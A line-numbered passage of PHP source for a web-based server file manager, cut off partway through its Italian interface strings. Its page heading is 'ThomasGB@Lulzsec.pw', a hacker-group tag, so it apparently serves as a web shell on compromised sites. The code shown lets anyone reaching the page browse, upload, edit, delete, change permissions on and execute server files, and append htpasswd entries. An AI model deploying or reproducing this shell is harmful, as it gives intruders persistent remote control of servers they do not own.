1977 $group .= ($mode & 00010) ? 's' : 'S';
1978
1979 } else {
1980
1981 $group .= ($mode & 00010) ? 'x' : '-';
1982
1983 }
1984
1985
1986
1987 $other = ($mode & 00004) ? 'r' : '-';
1988
1989 $other .= ($mode & 00002) ? 'w' : '-';
1990
1991 if ($mode & 0x200) {
1992
1993 $other .= ($mode & 00001) ? 't' : 'T';
1994
1995 } else {
1996
1997 $other .= ($mode & 00001) ? 'x' : '-';
1998
1999 }
2000
2001
2002
2003 return $type . $owner . $group . $other;
2004
2005
2006
2007}
2008
2009
2010
2011function is_script ($filename) {
2012
2013 return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
2014
2015}
2016
2017
2018
2019function getmimetype ($filename) {
2020
2021 static $mimes = array(
2022
2023 '\.jpg$|\.jpeg$' => 'image/jpeg',
2024
2025 '\.gif$' => 'image/gif',
2026
2027 '\.png$' => 'image/png',
2028
2029 '\.html$|\.html$' => 'text/html',
2030
2031 '\.txt$|\.asc$' => 'text/plain',
2032
2033 '\.xml$|\.xsl$' => 'application/xml',
2034
2035 '\.pdf$' => 'application/pdf'
2036
2037 );
2038
2039
2040
2041 foreach ($mimes as $regex => $mime) {
2042
2043 if (eregi($regex, $filename)) return $mime;
2044
2045 }
2046
2047
2048
2049 // return 'application/octet-stream';
2050
2051 return 'text/plain';
2052
2053
2054
2055}
2056
2057
2058
2059function del ($file) {
2060
2061 global $delim;
2062
2063
2064
2065 if (!file_exists($file)) return false;
2066
2067
2068
2069 if (@is_dir($file) && !@is_link($file)) {
2070
2071
2072
2073 $success = false;
2074
2075
2076
2077 if (@rmdir($file)) {
2078
2079
2080
2081 $success = true;
2082
2083
2084
2085 } elseif ($dir = @opendir($file)) {
2086
2087
2088
2089 $success = true;
2090
2091
2092
2093 while (($f = readdir($dir)) !== false) {
2094
2095 if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
2096
2097 $success = false;
2098
2099 }
2100
2101 }
2102
2103 closedir($dir);
2104
2105
2106
2107 if ($success) $success = @rmdir($file);
2108
2109
2110
2111 }
2112
2113
2114
2115 return $success;
2116
2117
2118
2119 }
2120
2121
2122
2123 return @unlink($file);
2124
2125
2126
2127}
2128
2129
2130
2131function addslash ($directory) {
2132
2133 global $delim;
2134
2135
2136
2137 if (substr($directory, -1, 1) != $delim) {
2138
2139 return $directory . $delim;
2140
2141 } else {
2142
2143 return $directory;
2144
2145 }
2146
2147
2148
2149}
2150
2151
2152
2153function relative2absolute ($string, $directory) {
2154
2155
2156
2157 if (path_is_relative($string)) {
2158
2159 return simplify_path(addslash($directory) . $string);
2160
2161 } else {
2162
2163 return simplify_path($string);
2164
2165 }
2166
2167
2168
2169}
2170
2171
2172
2173function path_is_relative ($path) {
2174
2175 global $win;
2176
2177
2178
2179 if ($win) {
2180
2181 return (substr($path, 1, 1) != ':');
2182
2183 } else {
2184
2185 return (substr($path, 0, 1) != '/');
2186
2187 }
2188
2189
2190
2191}
2192
2193
2194
2195function absolute2relative ($directory, $target) {
2196
2197 global $delim;
2198
2199
2200
2201 $path = '';
2202
2203 while ($directory != $target) {
2204
2205 if ($directory == substr($target, 0, strlen($directory))) {
2206
2207 $path .= substr($target, strlen($directory));
2208
2209 break;
2210
2211 } else {
2212
2213 $path .= '..' . $delim;
2214
2215 $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
2216
2217 }
2218
2219 }
2220
2221 if ($path == '') $path = '.';
2222
2223
2224
2225 return $path;
2226
2227
2228
2229}
2230
2231
2232
2233function simplify_path ($path) {
2234
2235 global $delim;
2236
2237
2238
2239 if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
2240
2241 $path = realpath($path);
2242
2243 if (@is_dir($path)) {
2244
2245 return addslash($path);
2246
2247 } else {
2248
2249 return $path;
2250
2251 }
2252
2253 }
2254
2255
2256
2257 $pattern = $delim . '.' . $delim;
2258
2259
2260
2261 if (@is_dir($path)) {
2262
2263 $path = addslash($path);
2264
2265 }
2266
2267
2268
2269 while (strpos($path, $pattern) !== false) {
2270
2271 $path = str_replace($pattern, $delim, $path);
2272
2273 }
2274
2275
2276
2277 $e = addslashes($delim);
2278
2279 $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
2280
2281
2282
2283 while (ereg($regex, $path)) {
2284
2285 $path = ereg_replace($regex, $delim, $path);
2286
2287 }
2288
2289
2290
2291 return $path;
2292
2293
2294
2295}
2296
2297
2298
2299function human_filesize ($filesize) {
2300
2301
2302
2303 $suffices = 'kMGTPE';
2304
2305
2306
2307 $n = 0;
2308
2309 while ($filesize >= 1000) {
2310
2311 $filesize /= 1024;
2312
2313 $n++;
2314
2315 }
2316
2317
2318
2319 $filesize = round($filesize, 3 - strpos($filesize, '.'));
2320
2321
2322
2323 if (strpos($filesize, '.') !== false) {
2324
2325 while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
2326
2327 $filesize = substr($filesize, 0, strlen($filesize) - 1);
2328
2329 }
2330
2331 }
2332
2333
2334
2335 $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
2336
2337
2338
2339 return $filesize . " {$suffix}B";
2340
2341
2342
2343}
2344
2345
2346
2347function strip (&$str) {
2348
2349 $str = stripslashes($str);
2350
2351}
2352
2353
2354
2355/* ------------------------------------------------------------------------- */
2356
2357
2358
2359function listing_page ($message = null) {
2360
2361 global $self, $directory, $sort, $reverse;
2362
2363
2364
2365 html_header();
2366
2367
2368
2369 $list = getlist($directory);
2370
2371
2372
2373 if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
2374
2375 if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
2376
2377
2378
2379 echo '<h1 style="margin-bottom: 0">ThomasGB@Lulzsec.pw</h1>
2380
2381
2382
2383<form enctype="multipart/form-data" action="' . $self . '" method="post">
2384
2385
2386
2387<table id="main">
2388
2389';
2390
2391
2392
2393 directory_choice();
2394
2395
2396
2397 if (!empty($message)) {
2398
2399 spacer();
2400
2401 echo $message;
2402
2403 }
2404
2405
2406
2407 if (@is_writable($directory)) {
2408
2409 upload_box();
2410
2411 create_box();
2412
2413 } else {
2414
2415 spacer();
2416
2417 }
2418
2419
2420
2421 if ($list) {
2422
2423 $list = sortlist($list, $sort, $reverse);
2424
2425 listing($list);
2426
2427 } else {
2428
2429 echo error('not_readable', $directory);
2430
2431 }
2432
2433
2434
2435 echo '</table>
2436
2437
2438
2439</form>
2440
2441
2442
2443';
2444
2445
2446
2447 html_footer();
2448
2449
2450
2451}
2452
2453
2454
2455function listing ($list) {
2456
2457 global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
2458
2459
2460
2461 echo '<tr class="listing">
2462
2463 <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
2464
2465';
2466
2467
2468
2469 column_title('filename', $sort, $reverse);
2470
2471 column_title('size', $sort, $reverse);
2472
2473
2474
2475 if (!$win) {
2476
2477 column_title('permission', $sort, $reverse);
2478
2479 column_title('owner', $sort, $reverse);
2480
2481 column_title('group', $sort, $reverse);
2482
2483 }
2484
2485
2486
2487 echo ' <th class="functions">' . word('functions') . '</th>
2488
2489</tr>
2490
2491';
2492
2493
2494
2495 for ($i = 0; $i < sizeof($list); $i++) {
2496
2497 $file = $list[$i];
2498
2499
2500
2501 $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
2502
2503 $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
2504
2505 $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
2506
2507
2508
2509 echo '<tr class="listing">
2510
2511 <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
2512
2513 <td class="filename" title="' . html($timestamps) . '">';
2514
2515
2516
2517 if ($file['is_link']) {
2518
2519
2520
2521 echo '<img src="' . $self . '?image=link" alt="link" /> ';
2522
2523 echo html($file['filename']) . ' → ';
2524
2525
2526
2527 $real_file = relative2absolute($file['target'], $directory);
2528
2529
2530
2531 if (@is_readable($real_file)) {
2532
2533 if (@is_dir($real_file)) {
2534
2535 echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
2536
2537 } else {
2538
2539 echo '<a href="' . $self . '?action=view&file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
2540
2541 }
2542
2543 } else {
2544
2545 echo html($file['target']);
2546
2547 }
2548
2549
2550
2551 } elseif ($file['is_dir']) {
2552
2553
2554
2555 echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
2556
2557 if ($win || $file['is_executable']) {
2558
2559 echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
2560
2561 } else {
2562
2563 echo html($file['filename']);
2564
2565 }
2566
2567 echo ' ]';
2568
2569
2570
2571 } else {
2572
2573
2574
2575 if (substr($file['filename'], 0, 1) == '.') {
2576
2577 echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
2578
2579 } else {
2580
2581 echo '<img src="' . $self . '?image=file" alt="file" /> ';
2582
2583 }
2584
2585
2586
2587 if ($file['is_file'] && $file['is_readable']) {
2588
2589 echo '<a href="' . $self . '?action=view&file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
2590
2591 } else {
2592
2593 echo html($file['filename']);
2594
2595 }
2596
2597
2598
2599 }
2600
2601
2602
2603 if ($file['size'] >= 1000) {
2604
2605 $human = ' title="' . human_filesize($file['size']) . '"';
2606
2607 } else {
2608
2609 $human = '';
2610
2611 }
2612
2613
2614
2615 echo "</td>\n";
2616
2617
2618
2619 echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";
2620
2621
2622
2623 if (!$win) {
2624
2625
2626
2627 echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
2628
2629
2630
2631 $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
2632
2633 if ($l) echo '<a href="' . $self . '?action=permission&file=' . urlencode($file['path']) . '&dir=' . urlencode($directory) . '">';
2634
2635 echo html(permission_octal2string($file['permission']));
2636
2637 if ($l) echo '</a>';
2638
2639
2640
2641 echo "</td>\n";
2642
2643
2644
2645 if (array_key_exists('owner_name', $file)) {
2646
2647 echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
2648
2649 } else {
2650
2651 echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
2652
2653 }
2654
2655
2656
2657 if (array_key_exists('group_name', $file)) {
2658
2659 echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
2660
2661 } else {
2662
2663 echo "\t<td class=\"group\">{$file['group']}</td>\n";
2664
2665 }
2666
2667
2668
2669 }
2670
2671
2672
2673 echo ' <td class="functions">
2674
2675 <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
2676
2677';
2678
2679
2680
2681 $actions = array();
2682
2683 if (function_exists('symlink')) {
2684
2685 $actions[] = 'create_symlink';
2686
2687 }
2688
2689 if (@is_writable(dirname($file['path']))) {
2690
2691 $actions[] = 'delete';
2692
2693 $actions[] = 'rename';
2694
2695 $actions[] = 'move';
2696
2697 }
2698
2699 if ($file['is_file'] && $file['is_readable']) {
2700
2701 $actions[] = 'copy';
2702
2703 $actions[] = 'download';
2704
2705 if ($file['is_writable']) $actions[] = 'edit';
2706
2707 }
2708
2709 if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
2710
2711 $actions[] = 'execute';
2712
2713 }
2714
2715
2716
2717 if (sizeof($actions) > 0) {
2718
2719
2720
2721 echo ' <select class="small" name="action' . $i . '" size="1">
2722
2723 <option value="">' . str_repeat(' ', 30) . '</option>
2724
2725';
2726
2727
2728
2729 foreach ($actions as $action) {
2730
2731 echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
2732
2733 }
2734
2735
2736
2737 echo ' </select>
2738
2739 <input class="small" type="submit" name="submit' . $i . '" value=" > " onfocus="activate(\'other\')" />
2740
2741';
2742
2743
2744
2745 }
2746
2747
2748
2749 echo ' </td>
2750
2751</tr>
2752
2753';
2754
2755
2756
2757 }
2758
2759
2760
2761 echo '<tr class="listing_footer">
2762
2763 <td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt=">" /></td>
2764
2765 <td colspan="' . ($cols - 1) . '">
2766
2767 <input type="hidden" name="num" value="' . sizeof($list) . '" />
2768
2769 <input type="hidden" name="focus" value="" />
2770
2771 <input type="hidden" name="olddir" value="' . html($directory) . '" />
2772
2773';
2774
2775
2776
2777 $actions = array();
2778
2779 if (@is_writable(dirname($file['path']))) {
2780
2781 $actions[] = 'delete';
2782
2783 $actions[] = 'move';
2784
2785 }
2786
2787 $actions[] = 'copy';
2788
2789
2790
2791 echo ' <select class="small" name="action_all" size="1">
2792
2793 <option value="">' . str_repeat(' ', 30) . '</option>
2794
2795';
2796
2797
2798
2799 foreach ($actions as $action) {
2800
2801 echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
2802
2803 }
2804
2805
2806
2807 echo ' </select>
2808
2809 <input class="small" type="submit" name="submit_all" value=" > " onfocus="activate(\'other\')" />
2810
2811 </td>
2812
2813</tr>
2814
2815';
2816
2817
2818
2819}
2820
2821
2822
2823function column_title ($column, $sort, $reverse) {
2824
2825 global $self, $directory;
2826
2827
2828
2829 $d = 'dir=' . urlencode($directory) . '&';
2830
2831
2832
2833 if ($sort == $column) {
2834
2835 if (!$reverse) {
2836
2837 $r = '&reverse=true';
2838
2839 $arr = ' ∧';
2840
2841 } else {
2842
2843 $arr = ' ∨';
2844
2845 }
2846
2847 } else {
2848
2849 $r = '';
2850
2851 }
2852
2853 echo "\t<th class=\"$column\"><a href=\"$self?{$d}sort=$column$r\">" . word($column) . "</a>$arr</th>\n";
2854
2855
2856
2857}
2858
2859
2860
2861function directory_choice () {
2862
2863 global $directory, $homedir, $cols, $self;
2864
2865
2866
2867 echo '<tr>
2868
2869 <td colspan="' . $cols . '" id="directory">
2870
2871 <a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
2872
2873 <input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
2874
2875 <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
2876
2877 </td>
2878
2879</tr>
2880
2881';
2882
2883
2884
2885}
2886
2887
2888
2889function upload_box () {
2890
2891 global $cols;
2892
2893
2894
2895 echo '<tr>
2896
2897 <td colspan="' . $cols . '" id="upload">
2898
2899 ' . word('file') . ':
2900
2901 <input type="file" name="upload" onfocus="activate(\'other\')" />
2902
2903 <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
2904
2905 </td>
2906
2907</tr>
2908
2909';
2910
2911
2912
2913}
2914
2915
2916
2917function create_box () {
2918
2919 global $cols;
2920
2921
2922
2923 echo '<tr>
2924
2925 <td colspan="' . $cols . '" id="create">
2926
2927 <select name="create_type" size="1" onfocus="activate(\'create\')">
2928
2929 <option value="file">' . word('file') . '</option>
2930
2931 <option value="directory">' . word('directory') . '</option>
2932
2933 </select>
2934
2935 <input type="text" name="create_name" onfocus="activate(\'create\')" />
2936
2937 <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
2938
2939 </td>
2940
2941</tr>
2942
2943';
2944
2945
2946
2947}
2948
2949
2950
2951function edit ($file) {
2952
2953 global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
2954
2955
2956
2957 html_header();
2958
2959
2960
2961 echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
2962
2963
2964
2965<form action="' . $self . '" method="post">
2966
2967
2968
2969<table class="dialog">
2970
2971<tr>
2972
2973<td class="dialog">
2974
2975
2976
2977 <textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
2978
2979
2980
2981 if (array_key_exists('content', $_POST)) {
2982
2983 echo $_POST['content'];
2984
2985 } else {
2986
2987 $f = fopen($file, 'r');
2988
2989 while (!feof($f)) {
2990
2991 echo html(fread($f, 8192));
2992
2993 }
2994
2995 fclose($f);
2996
2997 }
2998
2999
3000
3001 if (!empty($_POST['user'])) {
3002
3003 echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
3004
3005 }
3006
3007 if (!empty($_POST['basic_auth'])) {
3008
3009 if ($win) {
3010
3011 $authfile = str_replace('\\', '/', $directory) . $htpasswd;
3012
3013 } else {
3014
3015 $authfile = $directory . $htpasswd;
3016
3017 }
3018
3019 echo "\nAuthType Basic\nAuthName "Restricted Directory"\n";
3020
3021 echo 'AuthUserFile "' . html($authfile) . ""\n";
3022
3023 echo 'Require valid-user';
3024
3025 }
3026
3027
3028
3029 echo '</textarea>
3030
3031
3032
3033 <hr />
3034
3035';
3036
3037
3038
3039 if ($apache && basename($file) == $htpasswd) {
3040
3041 echo '
3042
3043 ' . word('user') . ': <input type="text" name="user" />
3044
3045 ' . word('password') . ': <input type="password" name="password" />
3046
3047 <input type="submit" value="' . word('add') . '" />
3048
3049
3050
3051 <hr />
3052
3053';
3054
3055
3056
3057 }
3058
3059
3060
3061 if ($apache && basename($file) == $htaccess) {
3062
3063 echo '
3064
3065 <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
3066
3067
3068
3069 <hr />
3070
3071';
3072
3073
3074
3075 }
3076
3077
3078
3079 echo '
3080
3081 <input type="hidden" name="action" value="edit" />
3082
3083 <input type="hidden" name="file" value="' . html($file) . '" />
3084
3085 <input type="hidden" name="dir" value="' . html($directory) . '" />
3086
3087 <input type="reset" value="' . word('reset') . '" id="red_button" />
3088
3089 <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
3090
3091
3092
3093</td>
3094
3095</tr>
3096
3097</table>
3098
3099
3100
3101<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
3102
3103
3104
3105</form>
3106
3107
3108
3109';
3110
3111
3112
3113 html_footer();
3114
3115
3116
3117}
3118
3119
3120
3121function spacer () {
3122
3123 global $cols;
3124
3125
3126
3127 echo '<tr>
3128
3129 <td colspan="' . $cols . '" style="height: 1em"></td>
3130
3131</tr>
3132
3133';
3134
3135
3136
3137}
3138
3139
3140
3141function textfieldsize ($content) {
3142
3143
3144
3145 $size = strlen($content) + 5;
3146
3147 if ($size < 30) $size = 30;
3148
3149
3150
3151 return $size;
3152
3153
3154
3155}
3156
3157
3158
3159function request_dump () {
3160
3161
3162
3163 foreach ($_REQUEST as $key => $value) {
3164
3165 echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
3166
3167 }
3168
3169
3170
3171}
3172
3173
3174
3175/* ------------------------------------------------------------------------- */
3176
3177
3178
3179function html ($string) {
3180
3181 global $site_charset;
3182
3183 return htmlentities($string, ENT_COMPAT, $site_charset);
3184
3185}
3186
3187
3188
3189function word ($word) {
3190
3191 global $words, $word_charset;
3192
3193 return htmlentities($words[$word], ENT_COMPAT, $word_charset);
3194
3195}
3196
3197
3198
3199function phrase ($phrase, $arguments) {
3200
3201 global $words;
3202
3203 static $search;
3204
3205
3206
3207 if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
3208
3209
3210
3211 for ($i = 0; $i < sizeof($arguments); $i++) {
3212
3213 $arguments[$i] = nl2br(html($arguments[$i]));
3214
3215 }
3216
3217
3218
3219 $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');
3220
3221
3222
3223 return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
3224
3225
3226
3227}
3228
3229
3230
3231function getwords ($lang) {
3232
3233 global $word_charset, $date_format;
3234
3235
3236
3237 switch ($lang) {
3238
3239 case 'de':
3240
3241
3242
3243 $date_format = 'd.m.y H:i:s';
3244
3245 $word_charset = 'ISO-8859-1';
3246
3247
3248
3249 return array(
3250
3251'directory' => 'Verzeichnis',
3252
3253'file' => 'Datei',
3254
3255'filename' => 'Dateiname',
3256
3257
3258
3259'size' => 'Größe',
3260
3261'permission' => 'Rechte',
3262
3263'owner' => 'Eigner',
3264
3265'group' => 'Gruppe',
3266
3267'other' => 'Andere',
3268
3269'functions' => 'Funktionen',
3270
3271
3272
3273'read' => 'lesen',
3274
3275'write' => 'schreiben',
3276
3277'execute' => 'ausführen',
3278
3279
3280
3281'create_symlink' => 'Symlink erstellen',
3282
3283'delete' => 'löschen',
3284
3285'rename' => 'umbenennen',
3286
3287'move' => 'verschieben',
3288
3289'copy' => 'kopieren',
3290
3291'edit' => 'editieren',
3292
3293'download' => 'herunterladen',
3294
3295'upload' => 'hochladen',
3296
3297'create' => 'erstellen',
3298
3299'change' => 'wechseln',
3300
3301'save' => 'speichern',
3302
3303'set' => 'setze',
3304
3305'reset' => 'zurücksetzen',
3306
3307'relative' => 'Pfad zum Ziel relativ',
3308
3309
3310
3311'yes' => 'Ja',
3312
3313'no' => 'Nein',
3314
3315'back' => 'zurück',
3316
3317'destination' => 'Ziel',
3318
3319'symlink' => 'Symbolischer Link',
3320
3321'no_output' => 'keine Ausgabe',
3322
3323
3324
3325'user' => 'Benutzername',
3326
3327'password' => 'Kennwort',
3328
3329'add' => 'hinzufügen',
3330
3331'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen',
3332
3333
3334
3335'uploaded' => '"[%1]" wurde hochgeladen.',
3336
3337'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
3338
3339'already_exists' => '"[%1]" existiert bereits.',
3340
3341'created' => '"[%1]" wurde erstellt.',
3342
3343'not_created' => '"[%1]" konnte nicht erstellt werden.',
3344
3345'really_delete' => 'Sollen folgende Dateien wirklich gelöscht werden?',
3346
3347'deleted' => "Folgende Dateien wurden gelöscht:\n[%1]",
3348
3349'not_deleted' => "Folgende Dateien konnten nicht gelöscht werden:\n[%1]",
3350
3351'rename_file' => 'Benenne Datei um:',
3352
3353'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
3354
3355'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
3356
3357'move_files' => 'Verschieben folgende Dateien:',
3358
3359'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
3360
3361'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
3362
3363'copy_files' => 'Kopiere folgende Dateien:',
3364
3365'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
3366
3367'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
3368
3369'not_edited' => '"[%1]" kann nicht editiert werden.',
3370
3371'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\n{%2}",
3372
3373'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{%2}",
3374
3375'saved' => '"[%1]" wurde gespeichert.',
3376
3377'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
3378
3379'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
3380
3381'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
3382
3383'permission_for' => 'Rechte für "[%1]":',
3384
3385'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.',
3386
3387'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.',
3388
3389'not_readable' => '"[%1]" kann nicht gelesen werden.'
3390
3391 );
3392
3393
3394
3395 case 'fr':
3396
3397
3398
3399 $date_format = 'd.m.y H:i:s';
3400
3401 $word_charset = 'ISO-8859-1';
3402
3403
3404
3405 return array(
3406
3407'directory' => 'Répertoire',
3408
3409'file' => 'Fichier',
3410
3411'filename' => 'Nom fichier',
3412
3413
3414
3415'size' => 'Taille',
3416
3417'permission' => 'Droits',
3418
3419'owner' => 'Propriétaire',
3420
3421'group' => 'Groupe',
3422
3423'other' => 'Autres',
3424
3425'functions' => 'Fonctions',
3426
3427
3428
3429'read' => 'Lire',
3430
3431'write' => 'Ecrire',
3432
3433'execute' => 'Exécuter',
3434
3435
3436
3437'create_symlink' => 'Créer lien symbolique',
3438
3439'delete' => 'Effacer',
3440
3441'rename' => 'Renommer',
3442
3443'move' => 'Déplacer',
3444
3445'copy' => 'Copier',
3446
3447'edit' => 'Ouvrir',
3448
3449'download' => 'Télécharger sur PC',
3450
3451'upload' => 'Télécharger sur serveur',
3452
3453'create' => 'Créer',
3454
3455'change' => 'Changer',
3456
3457'save' => 'Sauvegarder',
3458
3459'set' => 'Exécuter',
3460
3461'reset' => 'Réinitialiser',
3462
3463'relative' => 'Relatif',
3464
3465
3466
3467'yes' => 'Oui',
3468
3469'no' => 'Non',
3470
3471'back' => 'Retour',
3472
3473'destination' => 'Destination',
3474
3475'symlink' => 'Lien symbollique',
3476
3477'no_output' => 'Pas de sortie',
3478
3479
3480
3481'user' => 'Utilisateur',
3482
3483'password' => 'Mot de passe',
3484
3485'add' => 'Ajouter',
3486
3487'add_basic_auth' => 'add basic-authentification',
3488
3489
3490
3491'uploaded' => '"[%1]" a été téléchargé sur le serveur.',
3492
3493'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.',
3494
3495'already_exists' => '"[%1]" existe déjà .',
3496
3497'created' => '"[%1]" a été créé.',
3498
3499'not_created' => '"[%1]" n a pas pu être créé.',
3500
3501'really_delete' => 'Effacer le fichier?',
3502
3503'deleted' => "Ces fichiers ont été détuits:\n[%1]",
3504
3505'not_deleted' => "Ces fichiers n ont pu être détruits:\n[%1]",
3506
3507'rename_file' => 'Renomme fichier:',
3508
3509'renamed' => '"[%1]" a été renommé en "[%2]".',
3510
3511'not_renamed' => '"[%1] n a pas pu être renommé en "[%2]".',
3512
3513'move_files' => 'Déplacer ces fichiers:',
3514
3515'moved' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]",
3516
3517'not_moved' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]",
3518
3519'copy_files' => 'Copier ces fichiers:',
3520
3521'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]",
3522
3523'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]",
3524
3525'not_edited' => '"[%1]" ne peut être ouvert.',
3526
3527'executed' => "\"[%1]\" a été brillamment exécuté :\n{%2}",
3528
3529'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{%2}",
3530
3531'saved' => '"[%1]" a été sauvegardé.',
3532
3533'not_saved' => '"[%1]" n a pas pu être sauvegardé.',
3534
3535'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.',
3536
3537'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.',
3538
3539'permission_for' => 'Droits de "[%1]":',
3540
3541'permission_set' => 'Droits de "[%1]" ont été changés en [%2].',
3542
3543'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].',
3544
3545'not_readable' => '"[%1]" ne peut pas être ouvert.'
3546
3547 );
3548
3549
3550
3551 case 'it':
3552
3553
3554
3555 $date_format = 'd-m-Y H:i:s';
3556
3557 $word_charset = 'ISO-8859-1';
3558
3559
3560
3561 return array(
3562
3563'directory' => 'Directory',
3564
3565'file' => 'File',
3566
3567'filename' => 'Nome File',
3568
3569
3570
3571'size' => 'Dimensioni',
3572
3573'permission' => 'Permessi',
3574
3575'owner' => 'Proprietario',
3576
3577'group' => 'Gruppo',
3578
3579'other' => 'Altro',
3580
3581'functions' => 'Funzioni',
3582
3583
3584
3585'read' => 'leggi',
3586
3587'write' => 'scrivi',
3588
3589'execute' => 'esegui',
3590
3591
3592
3593'create_symlink' => 'crea link simbolico',
3594
3595'delete' => 'cancella',
3596
3597'rename' => 'rinomina',
3598
3599'move' => 'sposta',
3600
3601'copy' => 'copia',
3602
3603'edit' => 'modifica',
3604
3605'download' => 'download',
3606
3607'upload' => 'upload',
3608
3609'create' => 'crea',
3610
3611'change' => 'cambia',
3612
3613'save' => 'salva',
3614
3615'set' => 'imposta',
3616
3617'reset' => 'reimposta',
3618
3619'relative' => 'Percorso relativo per la destinazione',
3620
3621
3622
3623'yes' => 'Si',
3624
3625'no' => 'No',
3626
3627'back' => 'indietro',
3628
3629'destination' => 'Destinazione',
3630
3631'symlink' => 'Link simbolico',
3632
3633'no_output' => 'no output',
3634
3635
3636
3637'user' => 'User',
3638
3639'password' => 'Password',
3640
3641'add' => 'aggiungi',
3642
3643'add_basic_auth' => 'aggiungi autenticazione base',
3644
3645
3646
3647'uploaded' => '"[%1]" è stato caricato.',
3648
3649'not_uploaded' => '"[%1]" non è stato caricato.',
3650
3651'already_exists' => '"[%1]" esiste già .',
3652
3653'created' => '"[%1]" è stato creato.',
3654
3655'not_created' => '"[%1]" non è stato creato.',
3656
3657'really_delete' => 'Cancello questi file ?',
3658
3659'deleted' => "Questi file sono stati cancellati:\n[%1]",
3660
3661'not_deleted' => "Questi file non possono essere cancellati:\n[%1]",
3662
3663'rename_file' => 'File rinominato:',
3664
3665'renamed' => '"[%1]" è stato rinominato in "[%2]".',
3666
3667'not_renamed' => '"[%1] non è stato rinominato in "[%2]".',
3668
3669'move_files' => 'Sposto questi file:',
3670
3671'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
3672
3673'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
3674
